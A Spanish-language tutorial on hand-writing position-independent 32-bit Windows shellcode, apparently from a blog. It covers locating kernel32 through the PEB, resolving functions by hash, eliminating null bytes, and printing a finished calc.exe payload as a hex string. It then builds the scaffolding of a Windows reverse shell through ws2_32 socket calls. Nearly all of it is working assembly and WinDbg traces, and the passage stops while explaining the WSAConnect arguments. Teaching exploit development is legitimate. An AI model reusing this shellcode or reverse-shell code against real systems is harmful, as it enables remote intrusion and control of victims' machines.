eax=774a9070 ebx=77480000 ecx=00000000 edx=00f71000 esi=779bab5c edi=014e2388
eip=00f71015 esp=013ffe98 ebp=013ffec4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
shellcode+0x1015:
00f71015 31c9            xor     ecx,ecx

0:000> p
eax=774a9070 ebx=77480000 ecx=00000000 edx=00f71000 esi=779bab5c edi=014e2388
eip=00f71017 esp=013ffe98 ebp=013ffec4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
shellcode+0x1017:
00f71017 51              push    ecx

0:000> p
eax=774a9070 ebx=77480000 ecx=00000000 edx=00f71000 esi=779bab5c edi=014e2388
eip=00f71018 esp=013ffe94 ebp=013ffec4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
shellcode+0x1018:
00f71018 6aff            push    0FFFFFFFFh

0:000> p
eax=774a9070 ebx=77480000 ecx=00000000 edx=00f71000 esi=779bab5c edi=014e2388
eip=00f7101a esp=013ffe90 ebp=013ffec4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
shellcode+0x101a:
00f7101a ffd0            call    eax {KERNEL32!TerminateProcessStub (774a9070)}  

0:000> p
eax=774a9070 ebx=77480000 ecx=013ffe78 edx=77931670 esi=779bab5c edi=014e2388
eip=77931670 esp=013ffe78 ebp=013ffe88 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
77931670 c3              ret

Actualmente nuestro shellcode se ve de la siguiente forma, hemos logrado cargar funciones de kernel32.dll y ejecutarlas sin embargo aun tenemos un problema

global _start

_start:
    int3
    mov ebp, esp                    ; new stack frame
    sub esp, 0x28                   ; space for variables

    call .find_kernel32             ; find kernel32

    push 0x8ee05933                 ; TerminateProcess() hash
    call .find_function             ; find TerminateProcess()

    xor ecx, ecx                    ; $ecx = 0x0
    push ecx                        ; uExitCode
    push 0xffffffff                 ; hProcess
    call eax                        ; call TerminateProcess()

    .find_kernel32:
        xor ecx, ecx                ; TEB structure
        mov esi, [fs: ecx + 0x30]   ; PEB Address
        mov esi, [esi + 0xc]        ; ntdll!PebLdr
        mov esi, [esi + 0x14]       ; InMemoryOrderModuleList
        mov esi, [esi]              ; ntdll.dll
        lodsd                       ; kernel32.dll
        mov ebx, [eax + 0x10]       ; kernel32 base
        ret                         ; return

    .find_function:
        pusha                       ; save all registers
        mov eax, [ebx + 0x3c]       ; RVA to PE signature
        mov edi, [ebx + eax + 0x78] ; RVA of Export Table
        add edi, ebx                ; Export Table
        mov ecx, [edi + 0x18]       ; NR of Names
        mov eax, [edi + 0x20]       ; RVA of Name Pointer Table
        add eax, ebx                ; Name Pointer Table
        mov [ebp - 0x4], eax        ; var4 = Name Pointer Table

    .find_loop:
        jecxz .find_end             ; if ecx = 0x0
        dec ecx                     ; counter -= 1
        mov eax, [ebp - 0x4]        ; $eax = Name Pointer Table
        mov esi, [eax + ecx * 4]    ; RVA of symbol name
        add esi, ebx                ; symbol name<

        xor eax, eax                ; $eax = 0x0
        cdq                         ; $edx = 0x0

    .compute_hash:
        lodsb                       ; load in al next byte from esi
        test al, al                 ; check null terminator
        jz .find_end                ; If ZF == 1
        ror edx, 0x2f               ; rot 47
        add edx, eax                ; add new byte
        jmp .compute_hash           ; loop

   .compare_hash:
        cmp edx, [esp + 0x24]       ; cmp edx, hash
        jnz .find_loop              ; if zf != 1
        mov edx, [edi + 0x24]       ; RVA of Ordinal Table
        add edx, ebx                ; Ordinal Table
        mov cx, [edx + 2 * ecx]     ; extrapolate ordinal functions
        mov edx, [edi + 0x1c]       ; RVA of Address Table
        add edx, ebx                ; Address Table
        mov eax, [edx + 4 * ecx]    ; RVA of function
        add eax, ebx                ; function
        mov [esp + 0x1c], eax       ; overwrite eax from pushad

    .find_end:
        popa                        ; restore registers
        ret                         ; return

Al compilar el shellcode y mostrarlo en formato hexadecimal notamos algo que nos dara muchos problemas y son los 0x00 que encontramos a lo largo de el

❯ nasm -f elf shellcode.asm -o shellcode.o; ld shellcode.o -m elf_i386 -o shellcode

❯ objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'shellcode' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\xcc\x89\xe5\x83\xec\x28\xe8\x11\x00\x00\x00\x68\x33\x59\xe0\x8e\xe8\x1a\x00\x00\x00\x31\xc9\x51\x6a\xff\xff\xd0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x14\x8b\x36\xad\x8b\x58\x10\xc3\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x35\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xac\x84\xc0\x74\x24\xc1\xca\x2f\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xe0\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3  


Null bytes


La principal razón de los 0x00 viene en las instrucciones de call a las funciones

0:000> g
(1680.167c): Break instruction exception - code 80000003 (first chance)
eax=013ffc88 ebx=011e6000 ecx=00d01000 edx=00d01000 esi=00d01000 edi=00d01000  
eip=00d01000 esp=013ffc30 ebp=013ffc3c iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
shellcode+0x1000:
00d01000 cc              int     3

0:000> u eip L7
shellcode+0x1000:
00d01000 cc              int     3
00d01001 89e5            mov     ebp,esp
00d01003 83ec28          sub     esp,28h
00d01006 e811000000      call    shellcode+0x101c (00d0101c)
00d0100b 683359e08e      push    8EE05933h
00d01010 e822000000      call    shellcode+0x1037 (00d01037)
00d01015 31c9            xor     ecx,ecx

Una forma de resolver este problema es reorganizando el código además de guardar la dirección de .find_function en una variable de ebp en este caso var8

global _start

_start:
    int3
    mov ebp, esp                    ; new stack frame
    sub esp, 0x28                   ; space for variables

    .find_kernel32:
        xor ecx, ecx                ; TEB structure
        mov esi, [fs: ecx + 0x30]   ; PEB Address
        mov esi, [esi + 0xc]        ; ntdll!PebLdr
        mov esi, [esi + 0x14]       ; InMemoryOrderModuleList
        mov esi, [esi]              ; ntdll.dll
        lodsd                       ; kernel32.dll
        mov ebx, [eax + 0x10]       ; kernel32 base

        jmp .find_short             ; short jump

    .find_ret:
        pop esi                     ; $esi = return addr
        mov [ebp - 0x8], esi        ; var8 = .find_function
        jmp .symbol_kernel32        ; load function from kernel32

    .find_short:
        call .find_ret              ; relative call

    .find_function:
        pusha                       ; save all registers
        mov eax, [ebx + 0x3c]       ; RVA to PE signature
        mov edi, [ebx + eax + 0x78] ; RVA of Export Table
        add edi, ebx                ; Export Table
        mov ecx, [edi + 0x18]       ; NR of Names
        mov eax, [edi + 0x20]       ; RVA of Name Pointer Table
        add eax, ebx                ; Name Pointer Table
        mov [ebp - 0x4], eax        ; var4 = Name Pointer Table

    .find_loop:
        jecxz .find_end             ; if ecx = 0x0
        dec ecx                     ; counter -= 1
        mov eax, [ebp - 0x4]        ; $eax = Name Pointer Table
        mov esi, [eax + ecx * 4]    ; RVA of symbol name
        add esi, ebx                ; symbol name

        xor eax, eax                ; $eax = 0x0
        cdq                         ; $edx = 0x0

    .compute_hash:
        lodsb                       ; load in al next byte from esi
        test al, al                 ; check null terminator
        jz .compare_hash            ; If ZF == 1
        ror edx, 0x2f               ; rot 47
        add edx, eax                ; add new byte
        jmp .compute_hash           ; loop

   .compare_hash:
        cmp edx, [esp + 0x24]       ; cmp edx, hash
        jnz .find_loop              ; if zf != 1
        mov edx, [edi + 0x24]       ; RVA of Ordinal Table
        add edx, ebx                ; Ordinal Table
        mov cx, [edx + 2 * ecx]     ; extrapolate ordinal functions
        mov edx, [edi + 0x1c]       ; RVA of Address Table
        add edx, ebx                ; Address Table
        mov eax, [edx + 4 * ecx]    ; RVA of function
        add eax, ebx                ; function
        mov [esp + 0x1c], eax       ; overwrite eax from pushad

    .find_end:
        popa                        ; restore registers
        ret                         ; return

    .symbol_kernel32:
        push 0x8ee05933             ; TerminateProcess() hash
        call [ebp - 0x8]            ; call .find_function
        mov [ebp - 0xc], eax        ; var12 = ptr to TerminateProcess()

    .exit:
        cdq                         ; $edx = 0x0
        push edx                    ; uExitCode
        push 0xffffffff             ; hProcess
        call [ebp - 0xc]            ; call TerminateProcess()

Saltamos hasta la parte que nos interesa que es después de encontrar la base de kernel32.dll, ejecuta un salto a .find_short, y este llama a .find_ret, despues de ello guarda en esi la dirección de retorno que apunta a .find_function

0:000> r
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=779bab5c edi=00b32388  
eip=00dc1020 esp=009ffb38 ebp=009ffb60 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
shellcode+0x1020:
00dc1020 eb06            jmp     shellcode+0x1028 (00dc1028)

0:000> p
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=779bab5c edi=00b32388   
eip=00dc1028 esp=009ffb38 ebp=009ffb60 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
shellcode+0x1028:
00dc1028 e8f5ffffff      call    shellcode+0x1022 (00dc1022)

0:000> t
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=779bab5c edi=00b32388
eip=00dc1022 esp=009ffb34 ebp=009ffb60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
shellcode+0x1022:
00dc1022 5e              pop     esi

0:000> u poi(esp)
shellcode+0x102d:
00dc102d 60              pushad
00dc102e 8b433c          mov     eax,dword ptr [ebx+3Ch]
00dc1031 8b7c0378        mov     edi,dword ptr [ebx+eax+78h]
00dc1035 01df            add     edi,ebx
00dc1037 8b4f18          mov     ecx,dword ptr [edi+18h]
00dc103a 8b4720          mov     eax,dword ptr [edi+20h]
00dc103d 01d8            add     eax,ebx
00dc103f 8945fc          mov     dword ptr [ebp-4],eax

Después guardamos la dirección de .find_function en la variable de ebp - 8

0:000> p
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=00dc102d edi=00b32388
eip=00dc1023 esp=009ffb38 ebp=009ffb60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
shellcode+0x1023:
00dc1023 8975f8          mov     dword ptr [ebp-8],esi ss:0023:009ffb58=00000000  

0:000> p
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=00dc102d edi=00b32388  
eip=00dc1026 esp=009ffb38 ebp=009ffb60 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
shellcode+0x1026:
00dc1026 eb54            jmp     shellcode+0x107c (00dc107c)

0:000> u poi(ebp - 8)
shellcode+0x102d:
00dc102d 60              pushad
00dc102e 8b433c          mov     eax,dword ptr [ebx+3Ch]
00dc1031 8b7c0378        mov     edi,dword ptr [ebx+eax+78h]
00dc1035 01df            add     edi,ebx
00dc1037 8b4f18          mov     ecx,dword ptr [edi+18h]
00dc103a 8b4720          mov     eax,dword ptr [edi+20h]
00dc103d 01d8            add     eax,ebx
00dc103f 8945fc          mov     dword ptr [ebp-4],eax

Luego pasamos a .symbol_kernel32 y para resolver el simbolo TerminateProcess empujamos el hash pero en lugar de llamar directamente a .find_function llamamos a [ebp - 8] que lo contiene, y como el resultado queda en eax lo movemos a la variable var - 12, entonces al llamar a TerminateProcess llamamos a la variable que lo almacena, como llamamos a una variable evitamos null bytes

0:000> p
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=00dc102d edi=00b32388
eip=00dc107c esp=009ffb38 ebp=009ffb60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
shellcode+0x107c:
00dc107c 683359e08e      push    8EE05933h

0:000> p
eax=b3bfe348 ebx=77480000 ecx=00000000 edx=00dc1000 esi=00dc102d edi=00b32388
eip=00dc1081 esp=009ffb34 ebp=009ffb60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
shellcode+0x1081:
00dc1081 ff55f8          call    dword ptr [ebp-8]    ss:0023:009ffb58=00dc102d

0:000> p
eax=774a9070 ebx=77480000 ecx=00000000 edx=00dc1000 esi=00dc102d edi=00b32388
eip=00dc1084 esp=009ffb34 ebp=009ffb60 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
shellcode+0x1084:
00dc1084 8945f4          mov     dword ptr [ebp-0Ch],eax ss:0023:009ffb54=00000000

0:000> u eax
KERNEL32!TerminateProcessStub:
774a9070 8bff            mov     edi,edi
774a9072 55              push    ebp
774a9073 8bec            mov     ebp,esp
774a9075 5d              pop     ebp
774a9076 ff2534495077    jmp     dword ptr [KERNEL32!_imp__TerminateProcess (77504934)]  
774a907c cc              int     3
774a907d cc              int     3
774a907e cc              int     3

0:000> g
eax=774a9070 ebx=77480000 ecx=009ffb14 edx=77931670 esi=00dc102d edi=00b32388
eip=77931670 esp=009ffb14 ebp=009ffb24 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
77931670 c3              ret


Exec calc.exe


Para ejecutar una calculadora podemos usar la función WinExec que esta dentro de kernel32.dll, lo primero sera resolver el simbolo y almacenarlo en una variable, como podemos ver la forma de resolver los simbolos se resume a 3 instrucciones, empujar el hash, llamar a la variable que contiene .find_funcion y almacenar el resultado en una variable, esto reduce significativamente el tamaño del shellcode

    .symbol_kernel32:
        push 0x8ee05933             ; TerminateProcess() hash
        call [ebp - 0x8]            ; call .find_function
        mov [ebp - 0xc], eax        ; var12 = ptr to TerminateProcess()  

        push 0x10121ee3             ; WinExec() hash
        call [ebp - 0x8]            ; call .find_function
        mov [ebp - 0x10], eax       ; var16 = ptr to WinExec()

Según la documentación WinExec requiere 2 argumentos, el primero es el puntero a la string del comando y la segunda el tipo de ventana, usaremos SW_NORMAL

UINT WinExec(
  [in] LPCSTR lpCmdLine,  
  [in] UINT   uCmdShow
);

A través de push guardamos la string calc.exe en el stack y guardamos la dirección en esi, luego pusheamos el tipo de ventana que equivale a 0x1 y como segundo argumento esi que es la dirección de la string, para finalmente llamar a la función

    .call_winexec:
        cdq                         ; $edx = 0x0
        push edx                    ; "\x00"
        push 0x6578652e             ; ".exe"
        push 0x636c6163             ; "calc"
        mov esi, esp                ; "calc.exe"

        push 0x1                    ; uCmdShow
        push esi                    ; lpCmdLine
        call [ebp - 0x10]           ; call WinExec()

Para salir correctamente usaremos TerminateProcess que requiere 2 argumentos, el primero es el numero de proceso, usamos 0xffffffff o -1 ya que hace referencia al proceso actual y el segundo parametro es el codigo de estado donde usamos 0

BOOL TerminateProcess(
  [in] HANDLE hProcess,
  [in] UINT   uExitCode
);

Nuevamente establecemos los argumentos y llamamos a la función con la variable

    .exit:
        push edx                    ; uExitCode
        push 0xffffffff             ; hProcess
        call [ebp - 0xc]            ; call TerminateProcess()

Desde el debugger podemos ver que los argumentos se guarden correctamente y finalmente llamamos a la función desde la variable, esto lanza una calculadora

0:000> r
eax=76b1cf20 ebx=76ac0000 ecx=00000000 edx=004e1000 esi=006efaf4 edi=00733320
eip=004e10a4 esp=006efaec ebp=006efb30 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
shellcode+0x10a4:
004e10a4 ff55f0          call    dword ptr [ebp-10h]  ss:002b:006efb20={KERNEL32!WinExec (76b1cf20)}  

0:000> dds esp L2
006efaec  006efaf4
006efaf0  00000001

0:000> da poi(esp)
006efaf4  "calc.exe"

0:000> p
ModLoad: 767d0000 76848000   C:\Windows\SysWOW64\sechost.dll
ModLoad: 77230000 772ee000   C:\Windows\SysWOW64\RPCRT4.dll
ModLoad: 77600000 77619000   C:\Windows\SysWOW64\bcrypt.dll
eax=00000021 ebx=76ac0000 ecx=dcde89c7 edx=00000000 esi=006efaf4 edi=00733320
eip=004e10a7 esp=006efaf4 ebp=006efb30 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
shellcode+0x10a7:
004e10a7 51              push    ecx

Finalmente nos queda un shellcode para abrir una calculadora, libre de null bytes y otros badchars conocidos y con un peso bastante bajo de apenas 162 bytes, es muy bueno pero podemos bajarlo incluso mas como en este shellcode de solo 148

❯ nasm -f elf shellcode.asm -o shellcode.o; ld shellcode.o -m elf_i386 -o shellcode

❯ objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'shellcode' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\x89\xe5\x83\xec\x28\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x14\x8b\x36\xad\x8b\x58\x10\xeb\x06\x5e\x89\x75\xf8\xeb\x53\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x35\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x2f\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xe0\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x33\x59\xe0\x8e\xff\x55\xf8\x89\x45\xf4\x68\xe3\x1e\x12\x10\xff\x55\xf8\x89\x45\xf0\x99\x52\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe6\x6a\x01\x56\xff\x55\xf0\x52\x6a\xff\xff\x55\xf4  


Exec revshell


Afortunadamente WinExec estaba dentro de kernel32.dll, pero ¿que pasa si queremos enviar una reverse shell o realizar una acción que necesite una libreria externa?, para ello necesitaremos resolver otro simbolo que es LoadLibraryA, además de CreateProcessA que usaremos más adelante al enviar una reverse shell

    .symbol_kernel32:
        push 0x8ee05933             ; TerminateProcess() hash
        call [ebp - 0x8]            ; call .find_function
        mov [ebp - 0xc], eax        ; var12 = ptr to TerminateProcess()  

        push 0x583c436c             ; LoadLibraryA() hash
        call [ebp - 0x8]            ; call .find_function
        mov [ebp - 0x10], eax       ; var16 = ptr to LoadLibraryA()

        push 0xa9f72dc9             ; CreateProcessA() hash
        call [ebp - 0x8]            ; call .find_function
        mov [ebp - 0x14], eax       ; var20 = ptr to CreateProcessA()

La función LoadLibraryA solo requiere un argumento y es el nombre de la libreria, en este caso las funciones que necesitamos vienen de la libreria ws2_32.dll

HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName  
);

Empujamos la string ws2_32.dll terminandola con un null byte y ejecutamos un push esp para guardar el puntero que contiene la string, luego llamamos a la función LoadLibraryA que cargara la libreria devolviendo su dirección base en eax

    .load_ws2_32:
        xor eax, eax                ; $eax = 0x0
        mov ax, 0x6c6c              ; "ll"
        push eax                    ; "ll\x00\x00"
        push 0x642e3233             ; "32.d"
        push 0x5f327377             ; "ws2_"
        push esp                    ; "ws2_32.dll"
        call [ebp - 0x10]           ; call LoadLibraryA()  

Luego de cargar la libreria necesitamos resolver los simbolos necesarios para la revshell, este proceso es parecido al de antes, movemos a ebx la dirección base de ws2_32.dll y cargamos las 3 funciones necesarias en variables de ebp

    .symbol_ws2_32:
        mov ebx, eax                ; $ebx = ws2_32 base

        push 0xe17a7010             ; WSAStartup() hash
        call [ebp - 0x8]            ; call .find_function
        mov [ebp - 0x18], eax       ; var24 = ptr to WSAStartup()  

        push 0xe0a06fc5             ; WSASocketA() hash
        call [ebp - 0x8]            ; call .find_function
        mov [ebp - 0x1c], eax       ; var28 = ptr to WSASocketA()  

        push 0xe0966ca8             ; WSAConnect() hash
        call [ebp - 0x8]            ; call .find_function
        mov [ebp - 0x20], eax       ; var32 = ptr to WSAConnect()  

Podemos comprobar esto desde el debugger, despues de guardar el puntero a la string en el stack como argumento llamamos a LoadLibraryA e incluso el debugger nos muestra que se ha cargado un nuevo modulo y la dirección base esta en eax

0:000> r
eax=00006c6c ebx=77480000 ecx=00000000 edx=00dd1000 esi=00dd102d edi=015c2388  
eip=00dd10ae esp=013fff28 ebp=013fff68 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
shellcode+0x10ae:
00dd10ae 54              push    esp

0:000> da esp
013fff28  "ws2_32.dll"

0:000> p
eax=00006c6c ebx=77480000 ecx=00000000 edx=00dd1000 esi=00dd102d edi=015c2388
eip=00dd10af esp=013fff24 ebp=013fff68 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
shellcode+0x10af:
00dd10af ff55f0          call    dword ptr [ebp-10h]  ss:0023:013fff58={KERNEL32!LoadLibraryAStub (774a8b20)}  

0:000> p
ModLoad: 76bb0000 76c16000   C:\Windows\System32\ws2_32.dll
eax=76bb0000 ebx=77480000 ecx=00000000 edx=00000000 esi=00dd102d edi=015c2388
eip=00dd10b2 esp=013fff28 ebp=013fff68 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
shellcode+0x10b2:
00dd10b2 89c3            mov     ebx,eax

0:000> r eax
eax=76bb0000

0:000> lm m ws2_32
Browse full module list
start    end        module name
76bb0000 76c16000   ws2_32     (deferred)

El proceso de cargar simbolos es igual a como lo haciamos en kernel32.dll, se empuja el hash, se llama a .find_function y se guarda la función en una variable

0:000> p
eax=76bb0000 ebx=76bb0000 ecx=00000000 edx=00000000 esi=00dd102d edi=015c2388
eip=00dd10b4 esp=013fff28 ebp=013fff68 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
shellcode+0x10b4:
00dd10b4 6810707ae1      push    0E17A7010h

0:000> p
eax=76bb0000 ebx=76bb0000 ecx=00000000 edx=00000000 esi=00dd102d edi=015c2388
eip=00dd10b9 esp=013fff24 ebp=013fff68 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
shellcode+0x10b9:
00dd10b9 ff55f8          call    dword ptr [ebp-8]    ss:0023:013fff60=00dd102d

0:000> p
eax=76bb5e00 ebx=76bb0000 ecx=00000000 edx=00000000 esi=00dd102d edi=015c2388
eip=00dd10bc esp=013fff24 ebp=013fff68 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
shellcode+0x10bc:
00dd10bc 8945e8          mov     dword ptr [ebp-18h],eax ss:0023:013fff50=00000000  

0:000> u eax
ws2_32!WSAStartup:
76bb5e00 8bff            mov     edi,edi
76bb5e02 55              push    ebp
76bb5e03 8bec            mov     ebp,esp
76bb5e05 6afe            push    0FFFFFFFEh
76bb5e07 68d85cbf76      push    offset ws2_32!StringCopyWorkerW+0xf9 (76bf5cd8)
76bb5e0c 6860a5bc76      push    offset ws2_32!_except_handler4 (76bca560)
76bb5e11 64a100000000    mov     eax,dword ptr fs:[00000000h]
76bb5e17 50              push    eax

La función WSAStartup recibe 2 argumentos, el primero parece que es la versión de la especificación Windows Sockets, la documentación nos dice que la ultima es 2.2 asi que usaremos esa, el segundo es un puntero a la estructura WSADATA

int WSAStartup(
  [in]  WORD      wVersionRequired,  
  [out] LPWSADATA lpWSAData
);

La función comienza moviendo el esp a eax, luego ecx almacena el valor 0x590 que se restaran a eax, este espacio es necesario para evitar que las instrucciones se sobrescriban con la estructura WSAData, luego empujamos el puntero a la estructura y la version que son los argumentos para posteriormente llamar a la función

    .call_wsastartup:
        mov eax, esp                ; $eax = $esp
        xor ecx, ecx                ; $ecx = 0x0
        mov cx, 0x590               ; $ecx = 0x590
        sub eax, ecx                ; sub ecx to avoid overwriting  
        push eax                    ; lpWSAData
        xor eax, eax                ; $eax = 0x0
        mov ax, 0x0202              ; $eax = 0x00000202
        push eax                    ; wVersionRequired
        call [ebp - 0x18]           ; call WSAStartup()

Antes de llamar a WSAStartup podemos ver los 2 argumentos, la versión y el puntero a la estructura que esta bastante detrás que la dirección del esp como definimos

0:000> r
eax=00000202 ebx=773a0000 ecx=00000590 edx=00a70000 esi=0058102d edi=00a73320
eip=005810e7 esp=009ffec0 ebp=009fff14 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
shellcode+0x10e7:
005810e7 ff55e8          call    dword ptr [ebp-18h]  ss:002b:009ffefc={ws2_32!WSAStartup (773a9cc0)}  

0:000> dds esp L2
009ffec0  00000202
009ffec4  009ff938

0:000> p
eax=00000000 ebx=773a0000 ecx=e5a1d462 edx=00a74c90 esi=0058102d edi=00a73320
eip=005810ea esp=009ffec8 ebp=009fff14 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
shellcode+0x10ea:
005810ea 31c0            xor     eax,eax

Es el turno de la función WSASocketA que se encarga de crear el socket, este recibe 6 argumentos que tienen tipos de datos conocidos como int y dword aunque tambien encontramos extraños como los parametros lpProtocolInfo y g

SOCKET WSAAPI WSASocketA(
  [in] int                 af,
  [in] int                 type,
  [in] int                 protocol,
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,  
  [in] GROUP               g,
  [in] DWORD               dwFlags
);

af: es la familia de direcciones utilizada por el socket, nosotros usaremos AF_INET que tiene como valor 2 y corresponde a las direcciones IPv4
type: especifica el tipo de socket, necesitamos usar SOCK_STREAM que tiene como valor 1 y corresponde al tipo TCP
protocol: se basa en los 2 argumentos anteriores, en nuestro necesitamos usar IPPROTO_TCP que tiene como valor 6
lpProtocolInfo: requiere un puntero a la estructura WSAPROTOCOL_INFO, pero se puede establecer a null (0) ya que usamos un protocolo TCP/IP
g: se utiliza para especificar un id de gurp de socket, ya que solo creamos uno podemos establecerlo en null (0)
dwFlags: se utiliza para especificar atributos adicionales, como no los requerimos podemos establecerlo en null (0)

Una vez sabemos que usar en los argumentos podemos empujar los parametros al stack de acuerdo a lo entendido y posteriormente llamar WSASocketA

    .call_wsasocketa:
        xor eax, eax                ; $eax = 0x0
        push eax                    ; dwFlags
        push eax                    ; g
        push eax                    ; lpProtocolInfo
        mov al, 0x6                 ; IPPROTO_TCP
        push eax                    ; protocol
        mov al, 0x1                 ; SOCK_STREAM
        push eax                    ; type
        inc eax                     ; AF_INET
        push eax                    ; af
        call [ebp - 0x1c]           ; call WSASocketA()  

Al llamar a WSASocketA se crea el socket y en eax nos devuelve un valor que es el socket descriptor que usaremos para comunicarnos con este mas adelante, en caso de que hubiera fallado el valor de retorno hubiera sido 0xffff

0:000> r
eax=00000002 ebx=773a0000 ecx=e5a1d462 edx=00a74c90 esi=0058102d edi=00a73320
eip=005810f7 esp=009ffeb0 ebp=009fff14 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
shellcode+0x10f7:
005810f7 ff55e4          call    dword ptr [ebp-1Ch]  ss:002b:009ffef8={ws2_32!WSASocketA (773b7140)}  

0:000> dds esp L6
009ffeb0  00000002
009ffeb4  00000001
009ffeb8  00000006
009ffebc  00000000
009ffec0  00000000
009ffec4  00000000

0:000> p
ModLoad: 71c50000 71ca2000   C:\Windows\SysWOW64\mswsock.dll
eax=0000010c ebx=773a0000 ecx=e5a1d462 edx=00000014 esi=0058102d edi=00a73320
eip=005810fa esp=009ffec8 ebp=009fff14 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
shellcode+0x10fa:
005810fa 89c6            mov     esi,eax

int WSAAPI WSAConnect(
  [in]  SOCKET         s,
  [in]  const sockaddr *name,
  [in]  int            namelen,
  [in]  LPWSABUF       lpCallerData,  
  [out] LPWSABUF       lpCalleeData,  
  [in]  LPQOS          lpSQOS,
  [in]  LPQOS          lpGQOS
);

s: requiere el descriptor del socket con el que se comunica, esto lo devuelve la funcion anterior
name: requiere un puntero a la estructura sockaddr, para el protocolo IPv4 utilizaremos la estructura sockaddr_in

El primer valor es sin_family que requiere la familia de direcciones del transporte, este valor tiene que ser AF_INET, el siguiente es sin_port que especifica el puerto, despues sin_addr que es una estructura anidada de tipo IN_ADDR que almacenara la IP dentro de un dword, el ultimo es sin_zero que se puede poner a 0

struct sockaddr_in {
        short   sin_family;
        u_short sin_port;
        struct  in_addr sin_addr;  
        char    sin_zero[8];
};

namelen: el tamaño de la estructura, el tamaño de sockaddr_in es de 0x10
